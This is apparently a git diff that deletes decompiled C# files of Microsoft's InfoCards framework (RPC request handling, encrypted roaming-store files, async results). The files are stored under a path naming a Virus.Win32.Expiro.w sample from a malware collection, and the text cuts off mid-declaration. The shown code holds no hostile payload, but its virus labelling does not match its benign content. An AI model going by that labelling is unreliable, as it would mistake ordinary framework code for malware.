a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ResolvePPIDRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ResolvePPIDRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ResolvePPIDRequest : UIAgentRequest - { - private string m_selfIssuedCardId; - private string m_managedCardId; - private string m_ppid; - - public ResolvePPIDRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_ppid = Utility.DeserializeString(reader); - this.m_managedCardId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCard infoCard = new InfoCard(new Uri(this.m_managedCardId)); - infoCard.Get(connection); - this.m_selfIssuedCardId = Utility.ResolvePPID(this.m_ppid, infoCard.IssuerIdentifierAsBytes, connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_selfIssuedCardId); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFile.cs deleted file mode 100644 index 592af5fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFile.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFile - { - private List m_infocards; - - public RoamingStoreFile() => this.m_infocards = new List(); - - public IList Cards => (IList) this.m_infocards; - - public void Clear() - { - foreach (InfoCard infocard in this.m_infocards) - infocard.ClearSensitiveData(); - this.m_infocards.Clear(); - } - - public void WriteTo(string password, XmlWriter writer) - { - byte[] buffer = (byte[]) null; - byte[] salt = (byte[]) null; - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer1 = XmlWriter.Create((Stream) memoryStream, new XmlWriterSettings() - { - OmitXmlDeclaration = true, - CloseOutput = false, - Encoding = Encoding.UTF8 - })) - { - writer1.WriteStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (InfoCard infocard in this.m_infocards) - infocard.WriteXml(writer1); - writer1.WriteEndElement(); - writer1.Flush(); - } - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - buffer = new byte[RoamingStoreFileUtility.CalculateEncryptedSize(Convert.ToInt32(memoryStream.Length))]; - using (MemoryStream destination = new MemoryStream(buffer)) - { - RoamingStoreFileUtility.Encrypt((Stream) memoryStream, (Stream) destination, password, out salt); - destination.Flush(); - } - } - writer.WriteStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteBase64(salt, 0, salt.Length); - writer.WriteEndElement(); - writer.WriteStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteBase64(buffer, 0, buffer.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void ReadFrom(string password, XmlReader reader) - { - if (!reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - byte[] numArray = new byte[RoamingStoreFileUtility.SaltLength]; - reader.ReadElementContentAsBase64(numArray, 0, numArray.Length); - if (reader.ReadElementContentAsBase64(new byte[1], 0, 1) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.IsStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherValue", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (MemoryStream source = new MemoryStream(4096)) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadElementContentAsBase64(buffer, 0, buffer.Length)) > 0) - source.Write(buffer, 0, count); - source.Flush(); - source.Seek(0L, SeekOrigin.Begin); - using (MemoryStream destination = new MemoryStream(RoamingStoreFileUtility.CalculateDecryptedSize(Convert.ToInt32(source.Length)))) - { - RoamingStoreFileUtility.Decrypt((Stream) source, (Stream) destination, password, numArray); - destination.Flush(); - destination.Seek(0L, SeekOrigin.Begin); - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) destination, reader.Settings)) - { - reader1.Read(); - if (!reader1.IsStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (reader1.ReadToDescendant("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - do - { - InfoCard infoCard = new InfoCard(); - infoCard.ReadXml(reader1); - this.m_infocards.Add(infoCard); - reader1.ReadEndElement(); - } - while (reader1.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")); - } - reader1.ReadEndElement(); - } - } - } - reader.ReadEndElement(); - if (reader.IsStartElement("EncryptionProperties", "http://www.w3.org/2001/04/xmlenc#")) - reader.Skip(); - reader.ReadEndElement(); - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFileUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFileUtility.cs deleted file mode 100644 index 9edfd5dd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFileUtility.cs +++ /dev/null @@ -1,289 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFileUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFileUtility - { - private const int ENCRYPTIONKEYBUFFERSIZE = 32; - private const int ENCRYPTIONKEYBITLENGTH = 256; - private const int ENCRYPTIONIVBUFFERSIZE = 16; - private const int ENCRYPTIONIVBITLENGTH = 128; - private const int ITERATIONCOUNT = 1000; - private const int SHA256_BUFFERSIZE = 32; - private static readonly byte[] DerivedKeySignatureEntropy = new byte[16] - { - (byte) 196, - (byte) 1, - (byte) 123, - (byte) 241, - (byte) 107, - (byte) 173, - (byte) 47, - (byte) 66, - (byte) 175, - (byte) 244, - (byte) 151, - (byte) 125, - (byte) 4, - (byte) 104, - (byte) 3, - (byte) 219 - }; - private static readonly byte[] DerivedKeyEncryptionEntropy = new byte[16] - { - (byte) 217, - (byte) 89, - (byte) 123, - (byte) 38, - (byte) 30, - (byte) 216, - (byte) 179, - (byte) 68, - (byte) 147, - (byte) 35, - (byte) 179, - (byte) 150, - (byte) 133, - (byte) 222, - (byte) 149, - (byte) 252 - }; - - public static int SaltLength => 16; - - private RoamingStoreFileUtility() - { - } - - public static int CalculateEncryptedSize(int decryptedLength) - { - int num = decryptedLength; - return num + (16 - num % 16) + 48; - } - - public static int CalculateDecryptedSize(int encryptedLength) => encryptedLength - 48; - - public static void Decrypt( - Stream source, - Stream destination, - string passwordString, - byte[] salt) - { - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - if (numArray1.Length != source.Read(numArray1, 0, numArray1.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform decryptor = (RijndaelManagedTransform) rijndaelManaged.CreateDecryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[decryptor.InputBlockSize]; - byte[] numArray3 = new byte[decryptor.OutputBlockSize]; - byte[] numArray4 = new byte[shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + encryptionKey.Length + decryptor.OutputBlockSize])) - { - if (numArray4.Length != source.Read(numArray4, 0, numArray4.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - while (source.Position < source.Length - (long) numArray2.Length) - { - try - { - int inputCount = source.Read(numArray2, 0, numArray2.Length); - int count = decryptor.TransformBlock(numArray2, 0, inputCount, numArray3, 0); - if (count > 0) - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - } - } - int inputCount1 = source.Read(numArray2, 0, numArray2.Length); - byte[] buffer = decryptor.TransformFinalBlock(numArray2, 0, inputCount1); - destination.Write(buffer, 0, buffer.Length); - inputStream.Write(buffer, buffer.Length - decryptor.OutputBlockSize, decryptor.OutputBlockSize); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - if (!RoamingStoreFileUtility.CompareSignature(shA256Managed.ComputeHash((Stream) inputStream), numArray4)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - public static void Encrypt( - Stream source, - Stream destination, - string passwordString, - out byte[] salt) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - salt = new byte[16]; - randomNumberGenerator.GetBytes(salt); - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - randomNumberGenerator.GetBytes(numArray1); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform encryptor = (RijndaelManagedTransform) rijndaelManaged.CreateEncryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[encryptor.InputBlockSize]; - byte[] buffer1 = (byte[]) null; - byte[] numArray3 = new byte[encryptor.OutputBlockSize]; - byte[] numArray4 = new byte[numArray1.Length + shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + signatureKey.Length + encryptor.InputBlockSize])) - { - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - try - { - destination.Write(numArray4, 0, numArray4.Length); - int num = 0; - while (source.Position < source.Length - (long) numArray2.Length) - { - num = source.Read(numArray2, 0, numArray2.Length); - try - { - int count = encryptor.TransformBlock(numArray2, 0, numArray2.Length, numArray3, 0); - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - } - } - int inputCount = source.Read(numArray2, 0, numArray2.Length); - if (inputCount != numArray2.Length) - { - byte[] buffer2 = new byte[numArray2.Length]; - source.Seek(source.Length - (long) numArray2.Length, SeekOrigin.Begin); - InfoCardTrace.Assert(source.Read(buffer2, 0, buffer2.Length) == buffer2.Length && buffer2.Length == numArray2.Length, "Should have read exactly 0x20 bytes"); - inputStream.Write(buffer2, 0, buffer2.Length); - } - else - inputStream.Write(numArray2, 0, numArray2.Length); - buffer1 = encryptor.TransformFinalBlock(numArray2, 0, inputCount); - destination.Write(buffer1, 0, buffer1.Length); - destination.Flush(); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - byte[] hash = shA256Managed.ComputeHash((Stream) inputStream); - Array.Copy((Array) numArray1, 0, (Array) numArray4, 0, numArray1.Length); - Array.Copy((Array) hash, 0, (Array) numArray4, numArray1.Length, hash.Length); - destination.Seek(0L, SeekOrigin.Begin); - destination.Write(numArray4, 0, numArray4.Length); - destination.Flush(); - destination.Seek(0L, SeekOrigin.End); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - if (buffer1 != null) - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - private static void CreateKeyPair( - byte[] password, - byte[] salt, - out byte[] encryptionKey, - out byte[] signatureKey) - { - byte[] sourceArray = RoamingStoreFileUtility.DoPkcs5(password, salt); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray1 = new byte[32 + RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length]; - byte[] numArray2 = new byte[32 + RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length]; - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeyEncryptionEntropy, 0, (Array) numArray1, 0, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length); - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeySignatureEntropy, 0, (Array) numArray2, 0, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length); - Array.Copy((Array) sourceArray, 0, (Array) numArray1, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length, 32); - Array.Copy((Array) sourceArray, 0, (Array) numArray2, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length, 32); - encryptionKey = shA256Managed.ComputeHash(numArray1); - signatureKey = shA256Managed.ComputeHash(numArray2); - } - } - - private static byte[] DoPkcs5(byte[] password, byte[] salt) => new PasswordDeriveBytes(password, salt, "SHA256", 1000).GetBytes(32); - - internal static bool CompareSignature(byte[] input, byte[] expected) - { - if (input.Length == 0 || input.Length != expected.Length) - return false; - for (int index = 0; index < input.Length; ++index) - { - if ((int) expected[index] != (int) input[index]) - return false; - } - return true; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAllocMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAllocMemCallback.cs deleted file mode 100644 index 874936de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAllocMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAllocMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate IntPtr RpcAllocMemCallback([In] IntPtr size); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAsyncResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAsyncResult.cs deleted file mode 100644 index 97ec41b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAsyncResult.cs +++ /dev/null @@ -1,167 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAsyncResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class RpcAsyncResult : IAsyncResult, IDisposable - { - private static RpcAsyncResult.RpcAsyncHandleDictionary s_handles = new RpcAsyncResult.RpcAsyncHandleDictionary(); - private static object s_syncRoot = new object(); - private ClientRequest m_request; - private ManualResetEvent m_externEvent; - private bool m_isCompleted; - private bool m_isCanceled; - private bool m_isResultPickedUp; - private bool m_isDisposed; - private object m_result; - private string m_opType; - private ManualResetEvent m_event; - private int m_handle; - private object m_syncRoot; - private Exception m_exception; - private RpcAsyncResult.AsyncCancelCallback m_cancelCallback; - - public RpcAsyncResult(ClientRequest request, string opType, SafeWaitHandle externEvent) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == request, nameof (request)); - this.m_syncRoot = new object(); - this.m_request = request; - this.m_opType = opType; - if (externEvent != null) - { - this.m_externEvent = new ManualResetEvent(false); - this.m_externEvent.SafeWaitHandle = externEvent; - } - this.m_event = new ManualResetEvent(false); - lock (RpcAsyncResult.s_syncRoot) - { - int newHandle; - try - { - newHandle = RpcAsyncResult.s_handles.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyAsyncOperations", (object) RpcAsyncResult.s_handles.MaxSize), (Exception) ex)); - } - this.m_handle = newHandle; - RpcAsyncResult.s_handles[this.m_handle] = this; - } - this.m_request.AddAsyncOp(this); - } - - public RpcAsyncResult.AsyncCancelCallback CancelCallback - { - get => this.m_cancelCallback; - set => this.m_cancelCallback = value; - } - - public WaitHandle AsyncWaitHandle => (WaitHandle) this.m_event; - - public bool CompletedSynchronously => false; - - public object AsyncState => (object) null; - - public object Result - { - get => this.m_result; - set => this.m_result = value; - } - - public bool IsCompleted => this.m_isCompleted; - - public bool IsCanceled => this.m_isCanceled; - - public int Handle => this.m_handle; - - public Exception Exception - { - get => this.m_exception; - set => this.m_exception = value; - } - - public void Complete() - { - lock (this.m_syncRoot) - { - if (this.m_isCompleted) - return; - this.m_isCompleted = true; - if (!this.m_isCanceled) - this.AlertWaiters(); - this.MaybeDispose(); - } - } - - public void Cancel() - { - lock (this.m_syncRoot) - this.InternalCancel(); - } - - private void InternalCancel() - { - if (this.m_isCanceled || this.m_isCompleted) - return; - if (this.CancelCallback != null) - this.CancelCallback(); - this.m_isCanceled = true; - this.AlertWaiters(); - } - - private void AlertWaiters() - { - this.m_event.Set(); - if (this.m_externEvent == null) - return; - this.m_externEvent.Set(); - } - - private void MaybeDispose() - { - if (!this.m_isCompleted || !this.m_isResultPickedUp) - return; - this.DisposeInternal(); - } - - public void Dispose() - { - if (this.m_isResultPickedUp) - return; - lock (this.m_syncRoot) - { - this.InternalCancel(); - this.m_isResultPickedUp = true; - this.MaybeDispose(); - } - } - - private void DisposeInternal() - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - this.m_request.RemoveAsyncOp(this.Handle); - this.m_request = (ClientRequest) null; - if (this.m_externEvent != null) - this.m_externEvent.Close(); - this.m_event.Close(); - lock (RpcAsyncResult.s_syncRoot) - RpcAsyncResult.s_handles.Remove(this.Handle); - } - - public delegate void AsyncCancelCallback(); - - private class RpcAsyncHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAuthorizeCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAuthorizeCallback.cs deleted file mode 100644 index daec8f84..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAuthorizeCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAuthorizeCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate uint RpcAuthorizeCallback([In] IntPtr rpcIfHandle, [In] IntPtr Context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCallbacks.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCallbacks.cs deleted file mode 100644 index c8e7735d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCallbacks.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCallbacks -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcCallbacks - { - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback uiAgentRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcUIAgentBindToServiceCallback uiAgentRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback clientRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcClientBindToServiceCallback clientRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcProcessNewRequestCallback requestFactoryProcessNewRequest; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAllocMemCallback allocMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcFreeMemCallback freeMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcRundownClientContextHandle rundownClientContext; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs deleted file mode 100644 index 751665cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcClientBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcClientBindToServiceCallback([In] IntPtr rpcHandle, out IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoContext.cs deleted file mode 100644 index 8bce35d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoContext.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; - -namespace Microsoft.InfoCards -{ - internal class RpcCryptoContext : IDisposable - { - private string m_portName; - private string m_contextKey; - private IntPtr m_idlHandle; - private object m_syncRoot; - private bool m_open; - private bool m_disposed; - - public 